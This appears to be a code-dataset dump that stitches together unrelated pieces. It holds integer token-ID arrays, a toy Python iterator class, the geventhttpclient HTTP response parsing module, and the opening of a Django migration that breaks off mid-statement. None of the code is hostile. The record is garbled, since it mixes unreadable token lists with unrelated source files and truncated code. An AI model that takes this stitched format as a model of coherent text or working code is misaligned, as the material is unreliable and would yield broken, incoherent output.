353,
7442,
29889,
279,
927,
29898,
2962,
29922,
29900,
29892,
5040,
29922,
7720,
29918,
22230,
29892,
4331,
29922,
29873,
7358,
29918,
10568,
29892,
26688,
29922,
524,
8443,
13,
1678,
4853,
29889,
842,
29918,
486,
7358,
29898,
29873,
7358,
29918,
2248,
8443,
13,
1678,
4853,
29889,
842,
29918,
3637,
7358,
29898,
9302,
29889,
29888,
3466,
566,
29898,
29873,
7358,
29918,
2248,
876,
30004,
13,
1678,
396,
15796,
260,
7358,
411,
278,
6590,
1819,
22993,
13,
1678,
19471,
29918,
21134,
353,
518,
4181,
29918,
3493,
29961,
29875,
29962,
363,
474,
297,
260,
7358,
29918,
2248,
29962,
30004,
13,
1678,
321,
3232,
29918,
21134,
353,
518,
5463,
29918,
3493,
29961,
29875,
29962,
363,
474,
297,
260,
7358,
29918,
2248,
29962,
30004,
13,
1678,
4853,
29889,
842,
29918,
486,
860,
21134,
29898,
4181,
29918,
21134,
8443,
13,
1678,
4853,
29889,
842,
29918,
3637,
860,
21134,
29898,
5463,
29918,
21134,
8443,
13,
1678,
396,
7704,
260,
7358,
373,
14698,
9685,
472,
278,
5970,
22993,
13,
1678,
4853,
29889,
24667,
29918,
7529,
29898,
8990,
543,
29916,
613,
5970,
29922,
5574,
29892,
2246,
29922,
8824,
11167,
13,
462,
259,
3858,
8968,
29922,
5574,
29892,
3858,
3332,
29922,
8824,
8443,
13,
1678,
396,
3789,
921,
3858,
322,
343,
3858,
22993,
13,
1678,
14770,
29889,
29916,
1643,
703,
4535,
4181,
29938,
1159,
30004,
13,
1678,
14770,
29889,
29891,
1643,
703,
4535,
5463,
29938,
1159,
30004,
13,
1678,
396,
18399,
278,
4377,
22993,
13,
1678,
2537,
29889,
2780,
1646,
29898,
326,
8443,
13,
1678,
14770,
29889,
4294,
26471,
13,
30004,
13,
30004,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
30004,
13,
1678,
1510,
29918,
18035,
353,
5852,
29871,
396,
20018,
2594,
674,
367,
4318,
565,
5852,
30004,
13,
30004,
13,
1678,
396,
9681,
310,
6856,
3291,
1304,
363,
278,
3443,
2913,
310,
278,
6862,
3564,
22993,
13,
1678,
396,
14542,
852,
6856,
29918,
22230,
6736,
29871,
29896,
22993,
13,
1678,
396,
16696,
2159,
338,
29871,
29896,
847,
6856,
29918,
22230,
363,
263,
3001,
1353,
310,
29871,
29896,
718,
6856,
29918,
22230,
6856,
3291,
22993,
13,
1678,
6856,
29918,
22230,
353,
29871,
29896,
29900,
29900,
30004,
13,
1678,
396,
9681,
310,
10930,
297,
278,
14698,
5305,
310,
278,
6862,
3564,
22993,
13,
1678,
396,
14542,
852,
286,
6736,
29871,
29906,
22993,
13,
1678,
286,
353,
29871,
29941,
30004,
13,
1678,
396,
7525,
278,
6862,
3564,
1342,
411,
286,
353,
29871,
29941,
22993,
13,
1678,
6862,
29918,
11618,
29918,
2262,
29918,
5317,
29898,
29885,
29892,
6856,
29918,
22230,
29892,
1510,
29918,
18035,
8443,
13,
30004,
13,
1678,
396,
7525,
278,
6862,
3564,
1342,
411,
286,
353,
29871,
29945,
22993,
13,
1678,
286,
353,
29871,
29945,
30004,
13,
1678,
6862,
29918,
11618,
29918,
2262,
29918,
5317,
29898,
29885,
29892,
6856,
29918,
22230,
29892,
1510,
29918,
18035,
8443,
13,
30004,
13,
1678,
396,
5399,
393,
278,
17322,
1206,
6455,
6200,
1996,
278,
7472,
1353,
310,
30004,
13,
1678,
396,
24372,
310,
278,
11969,
5687,
22993,
13,
1678,
302,
353,
29871,
29955,
29945,
30004,
13,
1678,
2582,
353,
7442,
29889,
3298,
359,
29898,
29876,
8443,
13,
1678,
565,
1510,
29918,
18035,
29901,
30004,
13,
4706,
1596,
703,
1159,
30004,
13,
1678,
363,
474,
297,
3464,
29898,
29896,
29892,
302,
718,
29871,
29896,
1125,
30004,
13,
4706,
15595,
29892,
3887,
29892,
349,
29892,
660,
353,
17322,
29918,
4878,
29918,
4773,
29898,
29875,
8443,
13,
4706,
921,
353,
4505,
29918,
2262,
29918,
3018,
2416,
29918,
2573,
29898,
2312,
29892,
3887,
29892,
349,
29892,
660,
29892,
2302,
29922,
5574,
8443,
13,
4706,
9775,
1388,
29892,
4505,
29918,
2798,
29892,
4236,
29918,
2798,
353,
921,
30004,
13,
4706,
2582,
29961,
29875,
448,
29871,
29896,
29962,
353,
313,
2929,
345,
29918,
2798,
1275,
4236,
29918,
2798,
8443,
13,
4706,
565,
1510,
29918,
18035,
29901,
30004,
13,
9651,
6728,
29918,
1646,
29898,
29875,
29892,
302,
8443,
13,
1678,
565,
1510,
29918,
18035,
29901,
30004,
13,
4706,
1596,
703,
1159,
30004,
13,
1678,
565,
2582,
29889,
497,
7295,
29871,
396,
7569,
4505,
29918,
2798,
1275,
4236,
29918,
2798,
30004,
13,
4706,
1596,
703,
3596,
6851,
3734,
278,
7472,
1353,
310,
24372,
23157,
30004,
13,
1678,
1683,
29901,
30004,
13,
4706,
1596,
703,
4178,
3203,
697,
1650,
3734,
3109,
1135,
278,
7472,
1353,
376,
718,
30004,
13,
795,
376,
974,
24372,
23157,
30004,
13,
2
] |
test.py | wangjm12138/Yolov3_wang | 0 | 1901 | import random
class Yolov3(object):
def __init__(self):
self.num=0
self.input_size=[8,16,32]
def __iter__(self):
return self
def __next__(self):
a = random.choice(self.input_size)
self.num=self.num+1
if self.num<3:
return a
else:
raise StopIteration
yolo=Yolov3()
for data in yolo:
print(data)
| [
1,
1053,
4036,
13,
1990,
612,
324,
586,
29941,
29898,
3318,
1125,
13,
13,
12,
1753,
4770,
2344,
12035,
1311,
1125,
13,
12,
12,
1311,
29889,
1949,
29922,
29900,
13,
12,
12,
1311,
29889,
2080,
29918,
2311,
11759,
29947,
29892,
29896,
29953,
29892,
29941,
29906,
29962,
13,
12,
1753,
4770,
1524,
12035,
1311,
1125,
13,
12,
12,
2457,
1583,
13,
12,
1753,
4770,
4622,
12035,
1311,
1125,
13,
12,
12,
29874,
353,
4036,
29889,
16957,
29898,
1311,
29889,
2080,
29918,
2311,
29897,
13,
12,
12,
1311,
29889,
1949,
29922,
1311,
29889,
1949,
29974,
29896,
13,
12,
12,
361,
1583,
29889,
1949,
29966,
29941,
29901,
13,
12,
12,
12,
2457,
263,
13,
12,
12,
2870,
29901,
13,
12,
12,
12,
22692,
22303,
13463,
362,
13,
29891,
3543,
29922,
29979,
324,
586,
29941,
580,
13,
1454,
848,
297,
343,
3543,
29901,
13,
12,
2158,
29898,
1272,
29897,
13,
2
] |
env.clearblockd/lib/python2.7/site-packages/geventhttpclient/response.py | Organizational-Proof-Of-Work/clearinghoused_build | 0 | 77826 | <gh_stars>0
import errno
from geventhttpclient._parser import HTTPResponseParser, HTTPParseError #@UnresolvedImport
from geventhttpclient.header import Headers
import gevent.socket
HEADER_STATE_INIT = 0
HEADER_STATE_FIELD = 1
HEADER_STATE_VALUE = 2
HEADER_STATE_DONE = 3
class HTTPConnectionClosed(HTTPParseError):
pass
class HTTPProtocolViolationError(HTTPParseError):
pass
class HTTPResponse(HTTPResponseParser):
def __init__(self, method='GET', headers_type=Headers):
super(HTTPResponse, self).__init__()
self.method = method.upper()
self.headers_complete = False
self.message_begun = False
self.message_complete = False
self._headers_index = headers_type()
self._header_state = HEADER_STATE_INIT
self._current_header_field = None
self._current_header_value = None
self._header_position = 1
self._body_buffer = bytearray()
def __getitem__(self, key):
return self._headers_index[key]
def get(self, key, default=None):
return self._headers_index.get(key, default)
def iteritems(self):
return self._headers_index.iteritems()
def items(self):
return self._headers_index.items()
def info(self):
""" Basic cookielib compatibility """
return self._headers_index
def should_keep_alive(self):
""" return if the headers instruct to keep the connection
alive.
"""
return bool(super(HTTPResponse, self).should_keep_alive())
def should_close(self):
""" return if we should close the connection.
It is not the opposite of should_keep_alive method. It also checks
that the body as been consumed completely.
"""
return not self.message_complete or \
self.parser_failed() or \
not super(HTTPResponse, self).should_keep_alive()
headers = property(items)
def __contains__(self, key):
return key in self._headers_index
@property
def status_code(self):
return self.get_code()
@property
def content_length(self):
length = self.get('content-length', None)
if length is not None:
return long(length)
@property
def version(self):
return self.get_http_version()
def _on_message_begin(self):
if self.message_begun:
raise HTTPProtocolViolationError("A new response began before end of %r." % self)
self.message_begun = True
def _on_message_complete(self):
self.message_complete = True
def _on_headers_complete(self):
self._flush_header()
self._header_state = HEADER_STATE_DONE
self.headers_complete = True
if self.method == 'HEAD':
return True # SKIP BODY
return False
def _on_header_field(self, string):
if self._header_state == HEADER_STATE_FIELD:
self._current_header_field += string
else:
if self._header_state == HEADER_STATE_VALUE:
self._flush_header()
self._current_header_field = string
self._header_state = HEADER_STATE_FIELD
def _on_header_value(self, string):
if self._header_state == HEADER_STATE_VALUE:
self._current_header_value += string
else:
self._current_header_value = string
self._header_state = HEADER_STATE_VALUE
def _flush_header(self):
if self._current_header_field is not None:
self._headers_index.setdefault(self._current_header_field,
self._current_header_value)
self._header_position += 1
self._current_header_field = None
self._current_header_value = None
def _on_body(self, buf):
self._body_buffer += buf
def __repr__(self):
return "<{klass} status={status} headers={headers}>".format(
klass=self.__class__.__name__,
status=self.status_code,
headers=dict(self.headers))
class HTTPSocketResponse(HTTPResponse):
DEFAULT_BLOCK_SIZE = 1024 * 4 # 4KB
def __init__(self, sock, block_size=DEFAULT_BLOCK_SIZE,
method='GET', **kw):
super(HTTPSocketResponse, self).__init__(method=method, **kw)
self._sock = sock
self.block_size = block_size
self._read_headers()
def release(self):
try:
if self._sock is not None and self.should_close():
try:
self._sock.close()
except:
pass
finally:
self._sock = None
def __del__(self):
self.release()
def _read_headers(self):
try:
start = True
while not self.headers_complete:
try:
data = self._sock.recv(self.block_size)
self.feed(data)
# depending on gevent version we get a conn reset or no data
if not len(data) and not self.headers_complete:
if start:
raise HTTPConnectionClosed(
'connection closed.')
raise HTTPParseError('connection closed before'
' end of the headers')
start = False
except gevent.socket.error as e:
if e.errno == errno.ECONNRESET:
if start:
raise HTTPConnectionClosed(
'connection closed.')
raise
if self.message_complete:
self.release()
except BaseException:
self.release()
raise
def readline(self, sep="\r\n"):
cursor = 0
multibyte = len(sep) > 1
while True:
cursor = self._body_buffer.find(sep[0], cursor)
if cursor >= 0:
found = True
if multibyte:
pos = cursor
cursor = self._body_buffer.find(sep, cursor)
if cursor < 0:
cursor = pos
found = False
if found:
length = cursor + len(sep)
line = str(self._body_buffer[:length])
del self._body_buffer[:length]
cursor = 0
return line
else:
cursor = 0
if self.message_complete:
return ''
try:
data = self._sock.recv(self.block_size)
self.feed(data)
except BaseException:
self.release()
raise
def read(self, length=None):
# get the existing body that may have already been parsed
# during headers parsing
if length is not None and len(self._body_buffer) >= length:
read = self._body_buffer[0:length]
del self._body_buffer[0:length]
return str(read)
if self._sock is None:
read = str(self._body_buffer)
del self._body_buffer[:]
return read
try:
while not(self.message_complete) and (
length is None or len(self._body_buffer) < length):
data = self._sock.recv(length or self.block_size)
self.feed(data)
except:
self.release()
raise
if length is not None:
read = str(self._body_buffer[0:length])
del self._body_buffer[0:length]
return read
read = str(self._body_buffer)
del self._body_buffer[:]
return read
def __iter__(self):
return self
def next(self):
bytes = self.read(self.block_size)
if not len(bytes):
raise StopIteration()
return bytes
def _on_message_complete(self):
super(HTTPSocketResponse, self)._on_message_complete()
self.release()
def __enter__(self):
return self
def __exit__(self, *args):
self.release()
class HTTPSocketPoolResponse(HTTPSocketResponse):
def __init__(self, sock, pool, **kw):
self._pool = pool
super(HTTPSocketPoolResponse, self).__init__(sock, **kw)
def release(self):
try:
if self._sock is not None:
if self.should_close():
self._pool.release_socket(self._sock)
else:
self._pool.return_socket(self._sock)
finally:
self._sock = None
self._pool = None
def __del__(self):
if self._sock is not None:
self._pool.release_socket(self._sock)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
4589,
1217,
13,
3166,
1737,
794,
1124,
4645,
3032,
16680,
1053,
7331,
5103,
11726,
29892,
7331,
12914,
2392,
396,
29992,
2525,
9778,
1490,
17518,
13,
3166,
1737,
794,
1124,
4645,
29889,
6672,
1053,
12252,
414,
13,
5215,
1737,
794,
29889,
11514,
13,
13,
13,
23252,
1001,
29918,
19713,
29918,
26019,
353,
29871,
29900,
13,
23252,
1001,
29918,
19713,
29918,
3738,
27286,
353,
29871,
29896,
13,
23252,
1001,
29918,
19713,
29918,
19143,
353,
29871,
29906,
13,
23252,
1001,
29918,
19713,
29918,
29928,
12413,
353,
29871,
29941,
13,
13,
13,
1990,
7331,
5350,
6821,
2662,
29898,
10493,
12914,
2392,
1125,
13,
1678,
1209,
13,
13,
13,
1990,
7331,
17830,
29963,
29875,
22671,
2392,
29898,
10493,
12914,
2392,
1125,
13,
1678,
1209,
13,
13,
13,
1990,
7331,
5103,
29898,
10493,
5103,
11726,
1125,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1158,
2433,
7194,
742,
9066,
29918,
1853,
29922,
18163,
1125,
13,
4706,
2428,
29898,
10493,
5103,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
5696,
353,
1158,
29889,
21064,
580,
13,
4706,
1583,
29889,
13662,
29918,
8835,
353,
7700,
13,
4706,
1583,
29889,
4906,
29918,
28060,
348,
353,
7700,
13,
4706,
1583,
29889,
4906,
29918,
8835,
353,
7700,
13,
4706,
1583,
3032,
13662,
29918,
2248,
353,
9066,
29918,
1853,
580,
13,
4706,
1583,
3032,
6672,
29918,
3859,
353,
17714,
3035,
1001,
29918,
19713,
29918,
26019,
13,
4706,
1583,
3032,
3784,
29918,
6672,
29918,
2671,
353,
6213,
13,
4706,
1583,
3032,
3784,
29918,
6672,
29918,
1767,
353,
6213,
13,
4706,
1583,
3032,
6672,
29918,
3283,
353,
29871,
29896,
13,
4706,
1583,
3032,
2587,
29918,
9040,
353,
7023,
2378,
580,
13,
13,
1678,
822,
4770,
657,
667,
12035,
1311,
29892,
1820,
1125,
13,
4706,
736,
1583,
3032,
13662,
29918,
2248,
29961,
1989,
29962,
13,
13,
1678,
822,
679,
29898,
1311,
29892,
1820,
29892,
2322,
29922,
8516,
1125,
13,
4706,
736,
1583,
3032,
13662,
29918,
2248,
29889,
657,
29898,
1989,
29892,
2322,
29897,
13,
13,
1678,
822,
4256,
7076,
29898,
1311,
1125,
13,
4706,
736,
1583,
3032,
13662,
29918,
2248,
29889,
1524,
7076,
580,
13,
13,
1678,
822,
4452,
29898,
1311,
1125,
13,
4706,
736,
1583,
3032,
13662,
29918,
2248,
29889,
7076,
580,
13,
268,
13,
1678,
822,
5235,
29898,
1311,
1125,
13,
4706,
9995,
19219,
7984,
709,
747,
24521,
9995,
13,
4706,
736,
1583,
3032,
13662,
29918,
2248,
13,
13,
1678,
822,
881,
29918,
17462,
29918,
284,
573,
29898,
1311,
1125,
13,
4706,
9995,
736,
565,
278,
9066,
18690,
304,
3013,
278,
3957,
13,
4706,
18758,
29889,
13,
4706,
9995,
13,
4706,
736,
6120,
29898,
9136,
29898,
10493,
5103,
29892,
1583,
467,
9344,
29918,
17462,
29918,
284,
573,
3101,
13,
13,
1678,
822,
881,
29918,
5358,
29898,
1311,
1125,
13,
4706,
9995,
736,
565,
591,
881,
3802,
278,
3957,
29889,
13,
13,
4706,
739,
338,
451,
278,
11564,
310,
881,
29918,
17462,
29918,
284,
573,
1158,
29889,
739,
884,
12747,
13,
4706,
393,
278,
3573,
408,
1063,
11233,
287,
6446,
29889,
13,
4706,
9995,
13,
4706,
736,
451,
1583,
29889,
4906,
29918,
8835,
470,
320,
13,
1669,
1583,
29889,
16680,
29918,
26061,
580,
470,
320,
13,
1669,
451,
2428,
29898,
10493,
5103,
29892,
1583,
467,
9344,
29918,
17462,
29918,
284,
573,
580,
13,
13,
1678,
9066,
353,
2875,
29898,
7076,
29897,
13,
13,
1678,
822,
4770,
11516,
12035,
1311,
29892,
1820,
1125,
13,
4706,
736,
1820,
297,
1583,
3032,
13662,
29918,
2248,
13,
13,
1678,
732,
6799,
13,
1678,
822,
4660,
29918,
401,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
657,
29918,
401,
580,
13,
13,
1678,
732,
6799,
13,
1678,
822,
2793,
29918,
2848,
29898,
1311,
1125,
13,
4706,
3309,
353,
1583,
29889,
657,
877,
3051,
29899,
2848,
742,
6213,
29897,
13,
4706,
565,
3309,
338,
451,
6213,
29901,
13,
9651,
736,
1472,
29898,
2848,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1873,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
657,
29918,
1124,
29918,
3259,
580,
13,
13,
1678,
822,
903,
265,
29918,
4906,
29918,
463,
29898,
1311,
1125,
13,
4706,
565,
1583,
29889,
4906,
29918,
28060,
348,
29901,
13,
9651,
12020,
7331,
17830,
29963,
29875,
22671,
2392,
703,
29909,
716,
2933,
4689,
1434,
1095,
310,
1273,
29878,
1213,
1273,
1583,
29897,
13,
4706,
1583,
29889,
4906,
29918,
28060,
348,
353,
5852,
13,
13,
1678,
822,
903,
265,
29918,
4906,
29918,
8835,
29898,
1311,
1125,
13,
4706,
1583,
29889,
4906,
29918,
8835,
353,
5852,
13,
13,
1678,
822,
903,
265,
29918,
13662,
29918,
8835,
29898,
1311,
1125,
13,
4706,
1583,
3032,
23126,
29918,
6672,
580,
13,
4706,
1583,
3032,
6672,
29918,
3859,
353,
17714,
3035,
1001,
29918,
19713,
29918,
29928,
12413,
13,
4706,
1583,
29889,
13662,
29918,
8835,
353,
5852,
13,
13,
4706,
565,
1583,
29889,
5696,
1275,
525,
23252,
2396,
13,
9651,
736,
5852,
396,
18581,
5690,
350,
13668,
29979,
13,
4706,
736,
7700,
13,
13,
1678,
822,
903,
265,
29918,
6672,
29918,
2671,
29898,
1311,
29892,
1347,
1125,
13,
4706,
565,
1583,
3032,
6672,
29918,
3859,
1275,
17714,
3035,
1001,
29918,
19713,
29918,
3738,
27286,
29901,
13,
9651,
1583,
3032,
3784,
29918,
6672,
29918,
2671,
4619,
1347,
13,
4706,
1683,
29901,
13,
9651,
565,
1583,
3032,
6672,
29918,
3859,
1275,
17714,
3035,
1001,
29918,
19713,
29918,
19143,
29901,
13,
18884,
1583,
3032,
23126,
29918,
6672,
580,
13,
9651,
1583,
3032,
3784,
29918,
6672,
29918,
2671,
353,
1347,
13,
13,
4706,
1583,
3032,
6672,
29918,
3859,
353,
17714,
3035,
1001,
29918,
19713,
29918,
3738,
27286,
13,
13,
1678,
822,
903,
265,
29918,
6672,
29918,
1767,
29898,
1311,
29892,
1347,
1125,
13,
4706,
565,
1583,
3032,
6672,
29918,
3859,
1275,
17714,
3035,
1001,
29918,
19713,
29918,
19143,
29901,
13,
9651,
1583,
3032,
3784,
29918,
6672,
29918,
1767,
4619,
1347,
13,
4706,
1683,
29901,
13,
9651,
1583,
3032,
3784,
29918,
6672,
29918,
1767,
353,
1347,
13,
13,
4706,
1583,
3032,
6672,
29918,
3859,
353,
17714,
3035,
1001,
29918,
19713,
29918,
19143,
13,
13,
1678,
822,
903,
23126,
29918,
6672,
29898,
1311,
1125,
13,
4706,
565,
1583,
3032,
3784,
29918,
6672,
29918,
2671,
338,
451,
6213,
29901,
13,
9651,
1583,
3032,
13662,
29918,
2248,
29889,
842,
4381,
29898,
1311,
3032,
3784,
29918,
6672,
29918,
2671,
29892,
29871,
13,
462,
462,
965,
1583,
3032,
3784,
29918,
6672,
29918,
1767,
29897,
13,
9651,
1583,
3032,
6672,
29918,
3283,
4619,
29871,
29896,
13,
9651,
1583,
3032,
3784,
29918,
6672,
29918,
2671,
353,
6213,
13,
9651,
1583,
3032,
3784,
29918,
6672,
29918,
1767,
353,
6213,
13,
13,
1678,
822,
903,
265,
29918,
2587,
29898,
1311,
29892,
18392,
1125,
13,
4706,
1583,
3032,
2587,
29918,
9040,
4619,
18392,
13,
13,
1678,
822,
4770,
276,
558,
12035,
1311,
1125,
13,
4706,
736,
9872,
29912,
29895,
605,
29913,
4660,
3790,
4882,
29913,
9066,
3790,
13662,
17428,
1642,
4830,
29898,
13,
9651,
22902,
29922,
1311,
17255,
1990,
1649,
17255,
978,
1649,
29892,
13,
9651,
4660,
29922,
1311,
29889,
4882,
29918,
401,
29892,
13,
9651,
9066,
29922,
8977,
29898,
1311,
29889,
13662,
876,
13,
13,
13,
1990,
7331,
11373,
5103,
29898,
10493,
5103,
1125,
13,
13,
1678,
22236,
29918,
29933,
21339,
29918,
14226,
353,
29871,
29896,
29900,
29906,
29946,
334,
29871,
29946,
396,
29871,
29946,
26067,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
577,
384,
29892,
2908,
29918,
2311,
29922,
23397,
29918,
29933,
21339,
29918,
14226,
29892,
13,
9651,
1158,
2433,
7194,
742,
3579,
11022,
1125,
13,
4706,
2428,
29898,
10493,
11373,
5103,
29892,
1583,
467,
1649,
2344,
12035,
5696,
29922,
5696,
29892,
3579,
11022,
29897,
13,
4706,
1583,
3032,
21852,
353,
577,
384,
13,
4706,
1583,
29889,
1271,
29918,
2311,
353,
2908,
29918,
2311,
13,
4706,
1583,
3032,
949,
29918,
13662,
580,
13,
13,
1678,
822,
6507,
29898,
1311,
1125,
13,
4706,
1018,
29901,
13,
9651,
565,
1583,
3032,
21852,
338,
451,
6213,
322,
1583,
29889,
9344,
29918,
5358,
7295,
13,
18884,
1018,
29901,
13,
462,
1678,
1583,
3032,
21852,
29889,
5358,
580,
13,
18884,
5174,
29901,
13,
462,
1678,
1209,
13,
4706,
7146,
29901,
13,
9651,
1583,
3032,
21852,
353,
6213,
13,
13,
1678,
822,
4770,
6144,
12035,
1311,
1125,
13,
4706,
1583,
29889,
14096,
580,
13,
13,
1678,
822,
903,
949,
29918,
13662,
29898,
1311,
1125,
13,
4706,
1018,
29901,
13,
9651,
1369,
353,
5852,
13,
9651,
1550,
451,
1583,
29889,
13662,
29918,
8835,
29901,
13,
18884,
1018,
29901,
13,
462,
1678,
848,
353,
1583,
3032,
21852,
29889,
3757,
29894,
29898,
1311,
29889,
1271,
29918,
2311,
29897,
13,
462,
1678,
1583,
29889,
18798,
29898,
1272,
29897,
13,
462,
1678,
396,
8679,
373,
1737,
794,
1873,
591,
679,
263,
11009,
10092,
470,
694,
848,
13,
462,
1678,
565,
451,
7431,
29898,
1272,
29897,
322,
451,
1583,
29889,
13662,
29918,
8835,
29901,
13,
462,
4706,
565,
1369,
29901,
13,
462,
9651,
12020,
7331,
5350,
6821,
2662,
29898,
13,
462,
18884,
525,
9965,
5764,
29889,
1495,
13,
462,
4706,
12020,
7331,
12914,
2392,
877,
9965,
5764,
1434,
29915,
13,
462,
462,
9651,
525,
1095,
310,
278,
9066,
1495,
13,
462,
1678,
1369,
353,
7700,
13,
18884,
5174,
1737,
794,
29889,
11514,
29889,
2704,
408,
321,
29901,
13,
462,
1678,
565,
321,
29889,
3127,
1217,
1275,
4589,
1217,
29889,
29923,
6007,
29940,
1525,
10490,
29901,
13,
462,
4706,
565,
1369,
29901,
13,
462,
9651,
12020,
7331,
5350,
6821,
2662,
29898,
13,
462,
18884,
525,
9965,
5764,
29889,
1495,
13,
462,
1678,
12020,
13,
13,
9651,
565,
1583,
29889,
4906,
29918,
8835,
29901,
13,
18884,
1583,
29889,
14096,
580,
13,
4706,
5174,
7399,
2451,
29901,
13,
9651,
1583,
29889,
14096,
580,
13,
9651,
12020,
13,
13,
1678,
822,
1303,
1220,
29898,
1311,
29892,
16345,
543,
29905,
29878,
29905,
29876,
29908,
1125,
13,
4706,
10677,
353,
29871,
29900,
13,
4706,
1773,
747,
29891,
371,
353,
7431,
29898,
19570,
29897,
1405,
29871,
29896,
13,
4706,
1550,
5852,
29901,
13,
9651,
10677,
353,
1583,
3032,
2587,
29918,
9040,
29889,
2886,
29898,
19570,
29961,
29900,
1402,
10677,
29897,
13,
9651,
565,
10677,
6736,
29871,
29900,
29901,
13,
18884,
1476,
353,
5852,
13,
18884,
565,
1773,
747,
29891,
371,
29901,
13,
462,
1678,
926,
353,
10677,
13,
462,
1678,
10677,
353,
1583,
3032,
2587,
29918,
9040,
29889,
2886,
29898,
19570,
29892,
10677,
29897,
13,
462,
1678,
565,
10677,
529,
29871,
29900,
29901,
13,
462,
4706,
10677,
353,
926,
13,
462,
4706,
1476,
353,
7700,
13,
18884,
565,
1476,
29901,
13,
462,
1678,
3309,
353,
10677,
718,
7431,
29898,
19570,
29897,
13,
462,
1678,
1196,
353,
851,
29898,
1311,
3032,
2587,
29918,
9040,
7503,
2848,
2314,
13,
462,
1678,
628,
1583,
3032,
2587,
29918,
9040,
7503,
2848,
29962,
13,
462,
1678,
10677,
353,
29871,
29900,
13,
462,
1678,
736,
1196,
13,
9651,
1683,
29901,
13,
18884,
10677,
353,
29871,
29900,
13,
9651,
565,
1583,
29889,
4906,
29918,
8835,
29901,
13,
18884,
736,
6629,
13,
9651,
1018,
29901,
13,
18884,
848,
353,
1583,
3032,
21852,
29889,
3757,
29894,
29898,
1311,
29889,
1271,
29918,
2311,
29897,
13,
18884,
1583,
29889,
18798,
29898,
1272,
29897,
13,
9651,
5174,
7399,
2451,
29901,
13,
18884,
1583,
29889,
14096,
580,
13,
18884,
12020,
13,
13,
1678,
822,
1303,
29898,
1311,
29892,
3309,
29922,
8516,
1125,
13,
4706,
396,
679,
278,
5923,
3573,
393,
1122,
505,
2307,
1063,
21213,
13,
4706,
396,
2645,
9066,
13755,
13,
4706,
565,
3309,
338,
451,
6213,
322,
7431,
29898,
1311,
3032,
2587,
29918,
9040,
29897,
6736,
3309,
29901,
13,
9651,
1303,
353,
1583,
3032,
2587,
29918,
9040,
29961,
29900,
29901,
2848,
29962,
13,
9651,
628,
1583,
3032,
2587,
29918,
9040,
29961,
29900,
29901,
2848,
29962,
13,
9651,
736,
851,
29898,
949,
29897,
13,
13,
4706,
565,
1583,
3032,
21852,
338,
6213,
29901,
13,
9651,
1303,
353,
851,
29898,
1311,
3032,
2587,
29918,
9040,
29897,
13,
9651,
628,
1583,
3032,
2587,
29918,
9040,
7503,
29962,
13,
9651,
736,
1303,
13,
13,
4706,
1018,
29901,
13,
9651,
1550,
451,
29898,
1311,
29889,
4906,
29918,
8835,
29897,
322,
313,
13,
462,
1678,
3309,
338,
6213,
470,
7431,
29898,
1311,
3032,
2587,
29918,
9040,
29897,
529,
3309,
1125,
13,
18884,
848,
353,
1583,
3032,
21852,
29889,
3757,
29894,
29898,
2848,
470,
1583,
29889,
1271,
29918,
2311,
29897,
13,
18884,
1583,
29889,
18798,
29898,
1272,
29897,
13,
4706,
5174,
29901,
13,
9651,
1583,
29889,
14096,
580,
13,
9651,
12020,
13,
13,
4706,
565,
3309,
338,
451,
6213,
29901,
13,
9651,
1303,
353,
851,
29898,
1311,
3032,
2587,
29918,
9040,
29961,
29900,
29901,
2848,
2314,
13,
9651,
628,
1583,
3032,
2587,
29918,
9040,
29961,
29900,
29901,
2848,
29962,
13,
9651,
736,
1303,
13,
13,
4706,
1303,
353,
851,
29898,
1311,
3032,
2587,
29918,
9040,
29897,
13,
4706,
628,
1583,
3032,
2587,
29918,
9040,
7503,
29962,
13,
4706,
736,
1303,
13,
13,
1678,
822,
4770,
1524,
12035,
1311,
1125,
13,
4706,
736,
1583,
13,
13,
1678,
822,
2446,
29898,
1311,
1125,
13,
4706,
6262,
353,
1583,
29889,
949,
29898,
1311,
29889,
1271,
29918,
2311,
29897,
13,
4706,
565,
451,
7431,
29898,
13193,
1125,
13,
9651,
12020,
22303,
13463,
362,
580,
13,
4706,
736,
6262,
13,
13,
1678,
822,
903,
265,
29918,
4906,
29918,
8835,
29898,
1311,
1125,
13,
4706,
2428,
29898,
10493,
11373,
5103,
29892,
1583,
467,
29918,
265,
29918,
4906,
29918,
8835,
580,
13,
4706,
1583,
29889,
14096,
580,
13,
13,
1678,
822,
4770,
5893,
12035,
1311,
1125,
13,
4706,
736,
1583,
13,
13,
1678,
822,
4770,
13322,
12035,
1311,
29892,
334,
5085,
1125,
13,
4706,
1583,
29889,
14096,
580,
13,
13,
13,
1990,
7331,
11373,
11426,
5103,
29898,
10493,
11373,
5103,
1125,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
577,
384,
29892,
11565,
29892,
3579,
11022,
1125,
13,
4706,
1583,
3032,
10109,
353,
11565,
13,
4706,
2428,
29898,
10493,
11373,
11426,
5103,
29892,
1583,
467,
1649,
2344,
12035,
21852,
29892,
3579,
11022,
29897,
13,
13,
1678,
822,
6507,
29898,
1311,
1125,
13,
4706,
1018,
29901,
13,
9651,
565,
1583,
3032,
21852,
338,
451,
6213,
29901,
13,
18884,
565,
1583,
29889,
9344,
29918,
5358,
7295,
13,
462,
1678,
1583,
3032,
10109,
29889,
14096,
29918,
11514,
29898,
1311,
3032,
21852,
29897,
13,
18884,
1683,
29901,
13,
462,
1678,
1583,
3032,
10109,
29889,
2457,
29918,
11514,
29898,
1311,
3032,
21852,
29897,
13,
4706,
7146,
29901,
13,
9651,
1583,
3032,
21852,
353,
6213,
13,
9651,
1583,
3032,
10109,
353,
6213,
13,
13,
1678,
822,
4770,
6144,
12035,
1311,
1125,
13,
4706,
565,
1583,
3032,
21852,
338,
451,
6213,
29901,
13,
9651,
1583,
3032,
10109,
29889,
14096,
29918,
11514,
29898,
1311,
3032,
21852,
29897,
13,
13,
2
] |
recipesAPI/recipes/migrations/0011_auto_20220116_2017.py | rainsha/polsl_mgr_obierki | 0 | 188010 | <filename>recipesAPI/recipes/migrations/0011_auto_20220116_2017.py
# Generated by Django 3.0.14 on 2022-01-16 19:17
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('recipes', '0010_delete_message'),
]
operations = [
migrations.AlterField(
